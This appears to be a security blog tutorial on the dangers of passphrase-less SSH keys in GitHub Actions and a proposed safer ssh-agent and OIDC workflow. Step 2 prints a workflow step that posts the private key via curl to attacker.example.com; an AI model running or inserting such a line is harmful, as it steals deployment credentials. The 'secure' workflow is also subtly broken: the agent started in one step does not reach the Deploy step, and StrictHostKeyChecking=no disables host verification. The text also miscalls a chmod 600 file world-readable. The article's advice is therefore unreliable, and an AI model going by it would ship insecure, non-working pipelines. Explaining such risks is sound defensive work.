Understanding the Appeal—and the Danger

Many teams configure ssh‑keygen -t ed25519 -N "" to produce a key without a passphrase, then drop the private key into the CI secret store. The convenience is obvious: a single command can push code to production without human interaction. However, the same convenience creates a silent backdoor that can be abused by a compromised runner, a malicious pull request, or an over‑privileged service account. This article walks through a realistic pipeline, highlights the failure points, and shows a more resilient design that keeps automation while preserving the secret nature of the private key.

Step 1: The Naïve Pipeline

Below is a minimal GitHub Actions workflow that checks out the repository, connects to a remote host via SSH, and runs a deployment script. The private key is stored in secrets.SSH_PRIVATE_KEY and written to a file without any protection.

name: Deploy (Passwordless)
on:
  push:
    branches: [ main ]

jobs:
  deploy:
    runs-on: ubuntu‑latest
    steps:
      - name: Checkout code
        uses: actions/checkout@v3

      - name: Install SSH client
        run: sudo apt‑get update && sudo apt‑get install -y openssh-client

      - name: Write private key
        run: |
          echo "${{ secrets.SSH_PRIVATE_KEY }}" > ~/.ssh/id_ed25519
          chmod 600 ~/.ssh/id_ed25519

      - name: Add remote host to known_hosts
        run: ssh-keyscan -H my.server.com >> ~/.ssh/known_hosts

      - name: Deploy
        run: ssh -i ~/.ssh/id_ed25519 [email protected] 'bash ~/deploy.sh'

On paper this works. In practice, the key is exposed in plain text inside the runner’s filesystem. If an attacker can read the runner’s temporary directory—through a compromised action, a malicious dependency, or a side‑channel—they gain unrestricted SSH access to the production server.

Step 2: Demonstrating the Exposure

The following snippet shows how a rogue step can exfiltrate the private key. Imagine a third‑party action that runs a script we trust, but which later adds a hidden command:

# Malicious step inserted by a compromised action
- name: Leak SSH key
  run: |
    curl -X POST -F "key=$(cat ~/.ssh/id_ed25519)" https://attacker.example.com/collect

Because the key file is world‑readable to the process that created it, the attacker can ship it out before the job finishes. This attack vector is often missed during code reviews because the secret lives in the CI platform, not in the repository.

Step 3: Refactoring with SSH Agent and OIDC

A safer pattern replaces the raw private key with an ssh‑agent that holds the key only in memory, and leverages OpenID Connect (OIDC) tokens to obtain short‑lived credentials from the cloud provider. The following workflow demonstrates this approach using GitHub’s OIDC integration with AWS IAM.

name: Deploy (Secure)
on:
  push:
    branches: [ main ]

permissions:
  id-token: write
  contents: read

jobs:
  deploy:
    runs-on: ubuntu‑latest
    steps:
      - name: Checkout
        uses: actions/checkout@v3

      - name: Configure AWS credentials via OIDC
        uses: aws-actions/configure-aws-credentials@v2
        with:
          role-to-assume: arn:aws:iam::123456789012:role/ci‑ssh‑access
          aws-region: us-east-1

      - name: Start ssh‑agent
        run: |
          eval "$(ssh-agent -s)"
          aws ssm get-parameter --name /ci/ssh/key \
            --with-decryption --query Parameter.Value --output text \
            | ssh-add -

      - name: Add known host
        run: ssh-keyscan -H my.server.com >> ~/.ssh/known_hosts

      - name: Deploy
        run: ssh -o StrictHostKeyChecking=no [email protected] 'bash ~/deploy.sh'

In this version the private key never touches the filesystem. It is stored in AWS Systems Manager Parameter Store (encrypted with KMS) and streamed directly into ssh‑add. The OIDC token ensures that only the CI job with the correct GitHub repository can assume the IAM role, reducing the blast radius if a runner is compromised.

Step 4: Auditing the New Workflow

To verify that the key is never written to disk, add a diagnostic step that lists open file descriptors for the ssh‑agent process:

- name: Verify no key on disk
  run: |
    lsof -p $(pgrep ssh-agent) | grep id_ed25519 || echo "No key file found"

The command should report “No key file found”, confirming the key resides only in memory.

Security and Best Practices

Never store a passphrase‑less key in a long‑lived secret. Use hardware‑backed key stores (HSM, KMS, or Parameter Store) that enforce automatic rotation.

Limit the SSH user’s privileges. The deploy account should have sudo rights only for the specific deployment script, enforced via /etc/sudoers.d/deploy.

Enable SSH hardening options. Add PubkeyAcceptedKeyTypes=ssh-ed25519 and PermitRootLogin=no to /etc/ssh/sshd_config. Restart the daemon after changes.

“Treat every secret that lives outside the repository as a potential attack surface. If you can’t protect it in memory, you can’t protect it at all.”

Conclusion

Passwordless SSH keys lure teams with simplicity, but they also hand attackers a master key that can be lifted from any compromised runner. By shifting to an ssh‑agent model backed by short‑lived cloud credentials, you keep automation fast while ensuring the private key never persists on disk. The extra steps—configuring OIDC, storing the key in a managed secret store, and tightening the remote account—add modest complexity but dramatically reduce the attack surface.

Incorporate the patterns shown here into every CI/CD pipeline that needs SSH access. The effort pays off the moment a malicious pull request or a rogue third‑party action attempts to scrape your secrets. Security is a chain; a single weak link—like a passwordless key—can compromise the entire deployment process.